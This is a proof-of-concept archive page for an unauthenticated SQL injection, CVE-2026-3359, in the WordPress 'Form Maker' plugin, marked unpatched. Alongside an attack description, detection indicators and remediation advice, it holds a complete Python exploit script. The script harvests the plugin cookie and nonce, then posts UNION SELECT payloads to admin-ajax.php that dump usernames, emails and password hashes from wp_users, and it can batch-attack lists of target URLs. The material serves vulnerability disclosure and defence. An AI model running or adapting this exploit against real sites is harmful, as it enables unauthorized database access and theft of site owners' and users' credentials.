PoC Archive PoC Archive
Critical CVE-2026-3359 unpatched

WordPress "Form Maker" Plugin Unauthenticated SQL Injection — CVE-2026-3359

by itsthalisman · 2026-07-05

Severity
Critical
CVE
CVE-2026-3359
Category
web
Affected product
WordPress "Form Maker" plugin by Web10
Affected versions
All versions up to and including 1.15.42
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcheritsthalisman
CVE / AdvisoryCVE-2026-3359
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagswordpress, sql-injection, form-maker, unauthenticated, admin-ajax, wp-plugin, data-exfiltration
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress “Form Maker” plugin by Web10
Versions AffectedAll versions up to and including 1.15.42
Language / PlatformPython 3 (requests, BeautifulSoup, termcolor) targeting PHP/WordPress
Authentication RequiredNo
Network Access RequiredYes

Summary

The WordPress “Form Maker” plugin (up to version 1.15.42) passes attacker-controlled input from a crafted inputs[2|type_checkbox|all] field on the admin-ajax.php?action=fm_reload_input endpoint into a SQL query without adequate sanitization, allowing unauthenticated SQL injection. The PoC first retrieves the plugin’s fm_cookie and AJAX nonce from the public-facing form page, then submits a crafted checkbox-input payload embedding a UNION-based SQL subquery. A proof-of-concept query returns a marker value (“1”) reflected back in the checkbox HTML if the target is vulnerable, and a follow-up mode extracts user_login, user_email, and user_pass from the wp_users table via a UNION SELECT injected through the same parameter.


Vulnerability Details

Root Cause

The Form Maker plugin’s AJAX handler for fm_reload_input builds a SQL query using unsanitized values from the inputs[2|type_checkbox|all] POST parameter, allowing arbitrary SQL fragments (subqueries, UNION SELECT) to be injected into the executed statement.

Attack Vector

  1. Send an unauthenticated GET request to the target site to harvest the fm_cookie and the page’s embedded AJAX nonce.
  2. POST a crafted inputs[2|type_checkbox|all] value to /wp-admin/admin-ajax.php with action=fm_reload_input and form_id=6, embedding a SQL subquery (e.g. (SELECT 1 AS \1`) AS t–`) in place of the expected field value.
  3. Parse the JSON response’s embedded HTML for a checkbox value attribute; if it reflects the injected query result (e.g. “1”), the target is confirmed vulnerable.
  4. Replace the PoC subquery with a UNION SELECT against wp_users (user_login, user_email, user_pass) to exfiltrate WordPress user credentials directly through the reflected checkbox values.

Impact

An unauthenticated remote attacker can execute arbitrary SQL queries against the WordPress database, enabling full extraction of user credentials (including password hashes) and potentially further database compromise.


Environment / Lab Setup

Target:   WordPress site with Form Maker plugin <= 1.15.42 installed and active (form_id=6 used in PoC)
Attacker: Python 3, requests, beautifulsoup4, termcolor (see requirements.txt)

Proof of Concept

PoC Script

See cve-2026-3359.py and requirements.txt in this folder.

1
2
3
python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
python3 cve-2026-3359.py -u http://example.com -poc

The script fetches the target’s fm_cookie and AJAX nonce, then sends a crafted fm_reload_input AJAX request embedding a benign SQL subquery; if the reflected checkbox value equals “1” the target is flagged vulnerable. Running with -qu instead of -poc swaps the payload for a UNION SELECT against wp_users to dump usernames, emails, and password hashes; -l <file> allows batch testing a list of target URLs.


Detection & Indicators of Compromise

Signs of compromise:

  • POST requests to admin-ajax.php containing SQL keywords (UNION, SELECT, wp_users) inside the inputs[2|type_checkbox|all] parameter.
  • Repeated fm_reload_input AJAX calls from the same IP with varying injected subqueries (indicative of automated scanning/extraction).
  • Unexpected disclosure of wp_users data (login names, emails, password hashes) via web application responses.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; update Form Maker to the first release addressing CVE-2026-3359 once available.
Interim mitigationDisable or restrict access to the Form Maker plugin’s AJAX endpoints, deploy a WAF rule blocking SQL metacharacters/keywords in the inputs parameter, and use a least-privilege database account for the WordPress application.

References


Notes

Mirrored from https://github.com/itsthalisman/cve-2026-3359-exp on 2026-07-05.

cve-2026-3359.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259

import requests
from sys import argv
from bs4 import BeautifulSoup
from termcolor import colored
import json
import re

def main():

	print(colored("""░▒█▀▀▄░▒█░░▒█░▒█▀▀▀░░░░█▀█░█▀▀█░█▀█░▄▀▀▄░░░░█▀▀█░█▀▀█░█▀▀░▄▀▀▄
░▒█░░░░░▒█▒█░░▒█▀▀▀░▀▀░▒▄▀░█▄▀█░▒▄▀░█▄▄░░▀▀░░▒▀▄░░▒▀▄░▀▀▄░▀▄▄█
░▒█▄▄▀░░░▀▄▀░░▒█▄▄▄░░░░█▄▄░█▄▄█░█▄▄░▀▄▄▀░░░░█▄▄█░█▄▄█░▄▄▀░░▄▄▀
""", "magenta"))
	
	argsDict = {
		"list": "",
		"url": "",
		"fm_cookie": "",
		"ajaxnonce": "",
		"queryPoC": False,
		"queryUsers": False  
		}

	if len(argv) <= 1 or "-h" in argv:

		print("Usage: python3 cve-2026-3359.py -u http://localhost -poc/-qu\n\n")
		print("-u | Argument that should contain the URL to the target server (e.g: -u http://blahblah.com )\n\n")
		print("-poc | Argument to send a PoC SQL query that should make the target server return \"1\"if vulnerable\n\n")
		print("-qu | The 'query users' argument. When set will attempt to retrieve all user info within the wp_users table by an SQL query\n\n" )
		
		return 1

		
	for i in range(1, len(argv)):
		
		if argv[i] == "-l":

			argsDict["list"] = argv[i + 1] 

		if argv[i] == "-u" and argsDict["list"] == "":

			argsDict["url"] = argv[i + 1]
		
			argsDict["fm_cookie"] = retrieveCookie(argsDict["url"])
		
			argsDict["ajaxnonce"] = retrieveNonce(argsDict["url"])

		if argv[i] == "-n":
			
			argsDict["ajaxnonce"] = argv[i + 1]

		if argv[i] == "-poc":

			argsDict["queryPoC"] = True

		if argv[i] == "-qu":

			argsDict["queryUsers"] = True 
	
	queryArgsCase(argsDict)		


def queryArgsCase(argsDict):
	
	if argsDict["list"] != "" and argsDict["queryPoC"] == True:

		with open(argsDict["list"], "r") as l:
						
			lines = l.readlines()

			for line in lines:
 
				poc(retrieveCookie(line.strip()), retrieveNonce(line.strip()), line.strip())
			
			l.close()
	
	if argsDict["list"] != "" and argsDict["queryUsers"] == True:

		with open(argsDict["list"], "r") as l:

			lines = l.readlines()

			for line in lines:

				queryUsers(retrieveCookie(line.strip()), retrieveNonce(line.strip()), line.strip())
			
			l.close()

	if argsDict["url"] != "" and argsDict["queryPoC"] == True:
		
		poc(argsDict["fm_cookie"], argsDict["ajaxnonce"], argsDict["url"])
				
	elif argsDict["url"] == "" and argsDict["list"] == "":
		
		print("A URL is needed to run this exploit!")
		return 1

	if argsDict["url"] != "" and argsDict["queryUsers"] == True:
		
		queryUsers(argsDict["fm_cookie"], argsDict["ajaxnonce"], argsDict["url"])


def retrieveCookie(url):
	
	req = requests.get("{}".format(url))
	
	#print(req.cookies.items())
	
	for i in range(0, len(req.cookies.items())):
		
		#print(list(req.cookies.items()[i]))
	
		if re.findall(r"[fm_cookie_]", list(req.cookies.items()[i])[0]):

			cookieDict = {"{}".format(req.cookies.items()[0][0]):"{}".format(req.cookies.items()[0][1])}
	
			return cookieDict

	return None
	
def retrieveNonce(url):

	req = requests.get("{}".format(url))

	reqParser = BeautifulSoup(req.content, "html.parser") 

	ajaxVars = reqParser.find_all("script", string=lambda text: 'ajaxnonce' in text)
	
	try:
	
		ajaxNonce = json.loads(ajaxVars[0].text.split(";")[1].split("=")[1])["ajaxnonce"]
	
	except IndexError: 

		return -1 

	return ajaxNonce

def queryUsers(cookie, nonce, url):
	
	print("Target: {}".format(url))	
	print(colored("Current query sent: SELECT `user_login` FROM wp_users UNION SELECT `user_email` FROM wp_users UNION SELECT `user_pass` FROM wp_users-- ORDER BY", "red"))

	pocHeaders = {

		"Accept": "application/json, text/javascript, */*; q=0.01",
		"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
		"Cookie": "{}".format(cookie)

		}

	pocBody = {
		
		"nonce": "{}".format(nonce),
		"action": "fm_reload_input",
		"page": "form_maker",
		"form_id": "6",
		"inputs[2|type_checkbox|all]": "*:*w_field_label_size*:**:*w_field_label_pos*:**:*w_field_option_pos*:**:*w_hide_label*:**:*w_flow*:*[wp_users UNION SELECT `user_email` FROM wp_users UNION SELECT `user_pass` FROM wp_users--]:[test2]*:*w_choices*:**:*w_choices_checked*:**:*w_rowcol*:**:*w_limit_choice*:**:*w_limit_choice_alert*:**:*w_required*:**:*w_randomize*:**:*w_allow_other*:**:*w_allow_other_num*:**:*w_value_disabled*:**:*w_use_for_submission*:*[test_db_info]:[user_login]*:*w_choices_value*:*[where_order_by];[db_info]*:*w_choices_params*:*"

		}

	req = requests.post("{}/wp-admin/admin-ajax.php".format(url), headers=pocHeaders, data=pocBody)
	
	try: 
		reqResponse = json.loads(req.content)

	except ValueError:

		print("Server not vulnerable!")
		return -1

	try:

		htmlResponse = BeautifulSoup(reqResponse["2"]["html"], "html.parser")
	
	except TypeError:

		print("Server is not vulnerable!")
		return -1 

	inputsQuery = htmlResponse.find_all("input", attrs={"value": True, "type": "checkbox"})

	if inputsQuery[0]["value"] == "":

		print(colored("Current server does not seem vulnerable", "magenta"))

		return 1

	else: 

		for i in range(0, len(inputsQuery)):
		
			print(inputsQuery[i]["value"])


def poc(cookie, nonce, url):
	
	print("Current target: {}".format(url))	
	print(colored("Current query sent: SELECT `1` FROM (SELECT `1` as 1) as t-- ORDER BY", "red"))

	pocHeaders = {

		"Accept": "application/json, text/javascript, */*; q=0.01",
		"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
		"Cookie": "{}".format(cookie)

		}

	pocBody = {
		
		"nonce": "{}".format(nonce),
		"action": "fm_reload_input",
		"page": "form_maker",
		"form_id": "6",
		"inputs[2|type_checkbox|all]": "*:*w_field_label_size*:**:*w_field_label_pos*:**:*w_field_option_pos*:**:*w_hide_label*:**:*w_flow*:*[(SELECT 1 AS `1`) AS t--]:[test2]*:*w_choices*:**:*w_choices_checked*:**:*w_rowcol*:**:*w_limit_choice*:**:*w_limit_choice_alert*:**:*w_required*:**:*w_randomize*:**:*w_allow_other*:**:*w_allow_other_num*:**:*w_value_disabled*:**:*w_use_for_submission*:*[test_db_info]:[1]*:*w_choices_value*:*[where_order_by]ASC;[db_info]*:*w_choices_params*:*"

		}

	
	req = requests.post("{}/wp-admin/admin-ajax.php".format(url), headers=pocHeaders, data=pocBody)
	
	try: 

		reqResponse = json.loads(req.content)

	except ValueError:

		print("Server not vulnerable!")
		return -1
		

	try:

		htmlResponse = BeautifulSoup(reqResponse["2"]["html"], "html.parser")
	
	except TypeError:

		print("Server is not vulnerable!")
		return -1 
	
	inputsQuery = htmlResponse.find_all("input", attrs={"value": True, "type": "checkbox"})
	
	if inputsQuery[0]["value"] == "1":

		print(colored("VULNERABLE TO CVE-2026-3359 SQL INJECTION", "red"))

	else: 

		print(colored("Current server does not seem vulnerable", "magenta"))

	for i in range(0, len(inputsQuery)):
		
		print(inputsQuery[i]["value"])


if __name__ == '__main__':

	main()